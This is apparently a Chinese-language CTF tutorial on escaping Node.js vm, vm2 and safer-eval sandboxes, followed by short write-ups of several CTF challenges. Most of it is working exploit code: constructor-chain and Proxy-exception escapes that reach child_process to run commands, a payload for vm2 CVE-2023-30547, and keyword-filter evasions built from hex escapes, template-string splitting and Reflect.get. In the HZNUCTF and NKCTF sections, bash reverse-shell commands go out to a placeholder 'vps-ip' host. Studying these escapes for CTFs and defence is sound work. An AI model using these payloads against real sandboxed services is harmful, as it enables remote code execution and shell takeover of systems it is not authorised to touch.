概念
vm 模块提供了一系列 API,用于在 V8 虚拟机环境中编译和运行代码。
逃逸的本质定义:通过某种方式拿到沙箱外的
global.process就算成功。核心实现路径:获取沙箱外对象 调用
global.process.mainModule.require("child_process").execSync("whoami").toString()实现 RCE。
结合各种命令执行的绕过技巧(参考上一篇命令执行绕过总结),我们可以构建出多样的逃逸 Payload。
VM 原理及逃逸方法
基本用法
官网提供了一个创建基础 VM 沙箱的例子:
const vm = require('vm');
const x = 1;
const sandbox = { x: 2 };
vm.createContext(sandbox); // 上下文隔离化(Contextify)
const code = 'x += 40; var y = 17;';
// x 和 y 是沙箱环境中的全局变量。x 初始值为 2。
vm.runInContext(code, sandbox);
console.log(sandbox.x); // 42
console.log(sandbox.y); // 17
console.log(x); // 1 (沙箱外的 x 未受影响); y 报错未定义
-
vm.createContext(sandbox):创建沙箱上下文环境(可简单理解为虚拟机)。 -
vm.runInContext(code, sandbox):在指定的沙箱上下文中运行代码。
逃逸手法汇总
核心思路是利用 this + constructor 寻找连接“沙箱”与“真实环境”的通道。在沙箱中,this 指向当前传递给 runInNewContext 的对象,而该对象不属于沙箱环境。
当 this 为普通对象时
通过 constructor 不断向上寻找构造器:获得 Object 获得 Function 返回 global.process。
const vm = require('vm');
const sandbox = { 'x': 1 };
vm.createContext(sandbox);
const code = `
const p = this.constructor.constructor("return process")();
const res = p.mainModule.require("child_process").execSync("whoami").toString();
`;
const res = vm.runInContext(code, sandbox);
console.log(res); // 成功执行任意命令
当 this 为 null 时 (Object.create(null))
此时无法直接通过 this 获取 global 环境,需要利用其他特性。
a. 利用输出直接触发 toString 方法
利用 arguments.callee.caller 返回函数的调用者(沙箱外的一个对象)。
const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString()
}
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res); // 拼接字符串,隐式触发 toString()
b. 调用属性触发 (Proxy 劫持)
利用 Proxy 代理劫持属性,当访问任意属性时触发逃逸逻辑。
const vm = require("vm");
const script = `(() => {
const a = new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
return a
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log(res.abc); // 访问 abc 属性触发 get 钩子
Object.create(null) + 无输出/无返回值
若沙箱不返回结果或无法触发输出,可利用 try-catch 结构主动抛出异常并捕获输出。
const vm = require("vm");
const script = `
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
}
})
`;
try {
vm.runInContext(script, vm.createContext(Object.create(null)));
} catch(e) {
console.log("error:" + e); // 捕获并输出包含命令执行结果的异常
}
单行版(便于本地使用 ` 调试):
const script = "throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();return p.mainModule.require('child_process').execSync('whoami').toString();}})";
VM2 原理及逃逸方法
vm2 相比 vm 做了大量安全强化,核心在于利用 ES6 的 Proxy 特性,通过钩子拦截了对 constructor 和 __proto__ 等危险属性的访问。
基本用法
const {VM, VMScript} = require('vm2');
const script = new VMScript("let a = 2;a;");
console.log((new VM()).run(script));
注意区分 vm 与 vm2: 引入的包名和代码结构均不同,做题时需仔细辨别。
逃逸方法
1) 依赖版本漏洞 (参考 Github issues)
实战中建议直接根据版本号搜寻现成 CVE Payload。例如针对 vm2@3.9.15 (CVE-2023-30547):
const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
new Error().stack;
stack();
}
try { stack(); } catch (a$tmpname) {
a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();
}`;
console.log(vm.run(code));
而 CTF 中最经典的考点通常是 vm2@3.8.3 逃逸:
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f => f.constructor("return process")();
try {
Object.preventExtensions(Buffer.from("")).a = 1;
} catch(e) {
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try { console.log(new VM().run(untrusted)); } catch(x) { console.log(x); }
2) 原型链污染配合逃逸
通过已知源码位置实现返回 global:
JavaScript
let res = import('./app.js');
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
典型 CTF 例题解析
1. [HITCON 2016] Leaking
考点:Node.js 老版本 Buffer 内存泄漏
源码提示 vm.run(req.query.data),但要求 data.length <= 12,且并未直接给出 vm2 版本。
-
突破口: 在 Node 8.0 之前,
Buffer(数字)会分配一段未清零的内存。 -
POC 脚本:
import requests
url ="http://<靶机IP>/?data=Buffer(888)"
while True:
res = requests.get(url=url)
if 'hitcon' in res.text:
print("Get a flag: " + res.text)
break
2. BUUCTF-[HFCTF2020] JustEscape
考点:VM2 逃逸 + 关键字过滤绕过
-
试探: 传入
Error().stack报错,判定为 Node.js 环境(而非 PHP),且为vm2逃逸。 -
Fuzzing: 经过字典探测,发现过滤了
Function,process,while,for,",',+,exec,prototype,constructor。 -
绕过思路 1:16 进制编码绕过 (
\x63替换c)
(function(){
TypeError[`pro\x74otype`][`get_pro\x63ess`] = f=>f[`\x63onstructor`](`return pro\x63ess`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`get_pro\x63ess`](()=>{}).mainModule.require(`child_pro\x63ess`)[`exe\x63Sync`](`whoami`).toString();
}
})()
- 绕过思路 2:模板字符串
${}拼接
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()
3. [GKCTF 2020] ez三剑客-easynode
考点:safer-eval 逃逸(非标准 vm 逃逸)
利用 clearImmediate 向上寻找 process。
const saferEval = require("./src/index");
const untrusted = `(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
})()`;
console.log(saferEval(untrusted));
4. [HZNUCTF 2023 final] eznode
考点:JS 原型链污染 + VM2 逃逸
源码中存在明显的无过滤 merge 函数,并且执行 new VM().run({}.shellcode)。
-
污染链:
{"shit": 1, "__proto__": {"shellcode": "payload"}} -
反弹 Shell Payload: (CVE 直接利用失败时,改用原型链污染手法反弹)
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"bash -c 'sh -i >& /dev/tcp/vps-ip/8888 0>&1'\").toString();"}}
5. [2023 0xGame ez_sandbox]
考点:原型链污染提权 + VM 代理异常逃逸 + 字符串拼接绕过
-
步骤 1 (提权): 过滤了
__proto__,但可通过constructor.prototype绕过merge污染,将访客权限提升为 admin。{"username":"1","password":"1","constructor":{"prototype":{"role":"admin"}}} -
步骤 2 (逃逸): WAF 禁用了大量关键字。通过
throw new Proxy引发异常带出结果,并用+拼接字符串绕过黑名单。
throw new Proxy({}, {
get: function(){
const c = arguments.callee.caller;
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))();
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
}
})
6. [2024 nkctf] 最简单的 CTF 题
考点:极端 WAF 下的 VM 代理异常逃逸
WAF 极为严苛:/(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g。
禁用了加号、concat、中括号和反斜杠。
-
应对策略:
-
用模板字符串
${}代替+和concat进行拼接。 -
用
Reflect.get()代替[]获取属性。
-
-
Payload (Reflect 版):
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor(`${`${`return proc`}ess`}`))();
const chi = p.mainModule.require(`${`${`child_proces`}s`}`);
const res = Reflect.get(chi, `${`${`exe`}cSync`}`)('whoami');
return res.toString();
}
})
- Payload (Replace 版) - 更加简洁:
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return procAess'.replace('A','')))();
const obj = p.mainModule.require('child_procAess'.replace('A',''));
const ex = Object.getOwnPropertyDescriptor(obj, 'exeAcSync'.replace('A',''));
return ex.value('bash -c "bash -i >& /dev/tcp/vps-ip/port 0>&1"').toString();
}
})